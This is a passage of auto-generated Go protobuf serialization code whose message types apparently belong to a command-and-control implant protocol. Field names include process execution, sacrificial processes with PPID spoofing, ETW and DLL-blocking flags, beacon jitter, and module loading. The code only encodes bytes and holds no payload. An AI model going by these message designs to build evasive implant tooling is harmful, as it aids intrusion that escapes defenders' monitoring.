uint64(len(m.Version))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Process) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Process) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x42 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x3a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x32 + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x2a + } + if len(m.Owner) > 0 { + i -= len(m.Owner) + copy(dAtA[i:], m.Owner) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Owner))) + i-- + dAtA[i] = 0x22 + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x18 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Timer) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Timer) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Timer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Jitter != 0 { + i -= 8 + binary.LittleEndian.PutUint64(dAtA[i:], uint64(math.Float64bits(float64(m.Jitter)))) + i-- + dAtA[i] = 0x11 + } + if len(m.Expression) > 0 { + i -= len(m.Expression) + copy(dAtA[i:], m.Expression) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Expression))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *FileInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FileInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *FileInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Link) > 0 { + i -= len(m.Link) + copy(dAtA[i:], m.Link) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Link))) + i-- + dAtA[i] = 0x32 + } + if m.Mode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Mode)) + i-- + dAtA[i] = 0x28 + } + if m.ModTime != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ModTime)) + i-- + dAtA[i] = 0x20 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x18 + } + if m.IsDir { + i-- + if m.IsDir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SacrificeProcess) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SacrificeProcess) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SacrificeProcess) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Argue) > 0 { + i -= len(m.Argue) + copy(dAtA[i:], m.Argue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Argue))) + i-- + dAtA[i] = 0x2a + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x20 + } + if m.Etw { + i-- + if m.Etw { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *LsResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LsResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *LsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Files) > 0 { + for iNdEx := len(m.Files) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Files[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } + } + if m.Exists { + i-- + if m.Exists { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DriveInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DriveInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DriveInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.FileSystem) > 0 { + i -= len(m.FileSystem) + copy(dAtA[i:], m.FileSystem) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.FileSystem))) + i-- + dAtA[i] = 0x2a + } + if m.FreeSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.FreeSize)) + i-- + dAtA[i] = 0x20 + } + if m.TotalSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TotalSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.DriveType) > 0 { + i -= len(m.DriveType) + copy(dAtA[i:], m.DriveType) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DriveType))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *EnumDriversResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *EnumDriversResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *EnumDriversResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Drives) > 0 { + for iNdEx := len(m.Drives) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Drives[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *PsResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PsResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Processes) > 0 { + for iNdEx := len(m.Processes) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Processes[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ExecRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x50 + } + if m.Realtime { + i-- + if m.Realtime { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Singleton { + i-- + if m.Singleton { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x20 + } + if len(m.Stderr) > 0 { + i -= len(m.Stderr) + copy(dAtA[i:], m.Stderr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stderr))) + i-- + dAtA[i] = 0x1a + } + if len(m.Stdout) > 0 { + i -= len(m.Stdout) + copy(dAtA[i:], m.Stdout) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Stdout))) + i-- + dAtA[i] = 0x12 + } + if m.StatusCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StatusCode)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *BinaryResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BinaryResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *BinaryResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Err) > 0 { + i -= len(m.Err) + copy(dAtA[i:], m.Err) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Err))) + i-- + dAtA[i] = 0x22 + } + if m.Status != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Status)) + i-- + dAtA[i] = 0x18 + } + if len(m.Message) > 0 { + i -= len(m.Message) + copy(dAtA[i:], m.Message) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Message))) + i-- + dAtA[i] = 0x12 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Modules) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Modules) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Modules) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Modules) > 0 { + for iNdEx := len(m.Modules) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Modules[iNdEx]) + copy(dAtA[i:], m.Modules[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Modules[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addons) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addons) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Addons) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Addon) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Addon) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Addon) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadModule) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadModule) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *LoadModule) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Bundle) > 0 { + i -= len(m.Bundle) + copy(dAtA[i:], m.Bundle) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bundle))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *LoadAddon) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LoadAddon) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *LoadAddon) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x22 + } + if len(m.Depend) > 0 { + i -= len(m.Depend) + copy(dAtA[i:], m.Depend) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Depend))) + i-- + dAtA[i] = 0x1a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteAddon) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteAddon) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecuteAddon) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.ExecuteBinary != nil { + size, err := m.ExecuteBinary.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Addon) > 0 { + i -= len(m.Addon) + copy(dAtA[i:], m.Addon) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Addon))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteBinary) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteBinary) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecuteBinary) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Delay != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Delay)) + i-- + dAtA[i] = 0x78 + } + if len(m.Context) > 0 { + i -= len(m.Context) + copy(dAtA[i:], m.Context) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Context))) + i-- + dAtA[i] = 0x72 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x6a + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x58 + } + if m.Arch != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Arch)) + i-- + dAtA[i] = 0x50 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x48 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x42 + } + if len(m.EntryPoint) > 0 { + i -= len(m.EntryPoint) + copy(dAtA[i:], m.EntryPoint) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.EntryPoint))) + i-- + dAtA[i] = 0x3a + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if len(m.ProcessName) > 0 { + i -= len(m.ProcessName) + copy(dAtA[i:], m.ProcessName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ProcessName))) + i-- + dAtA[i] = 0x2a + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x22 + } + if len(m.Param) > 0 { + for k := range m.Param { + v := m.Param[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ExecuteCommand) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteCommand) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecuteCommand) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Command) > 0 { + i -= len(m.Command) + copy(dAtA[i:], m.Command) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Command))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *UploadRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *UploadRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *UploadRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Override { + i-- + if m.Override { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + 